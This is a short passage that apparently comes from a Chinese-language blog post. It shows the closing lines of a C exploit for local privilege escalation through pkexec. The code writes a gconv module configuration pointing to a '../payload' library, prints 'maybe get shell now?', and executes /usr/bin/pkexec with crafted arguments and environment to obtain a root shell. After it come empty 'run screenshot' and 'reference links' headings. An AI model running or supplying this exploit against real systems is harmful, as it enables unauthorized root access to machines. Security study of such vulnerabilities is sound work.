fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
fclose(fp);
}

printf("[~] maybe get shell now?\n");

execve("/usr/bin/pkexec", a_argv, a_envp);
}

运行截图:

undifined

参考链接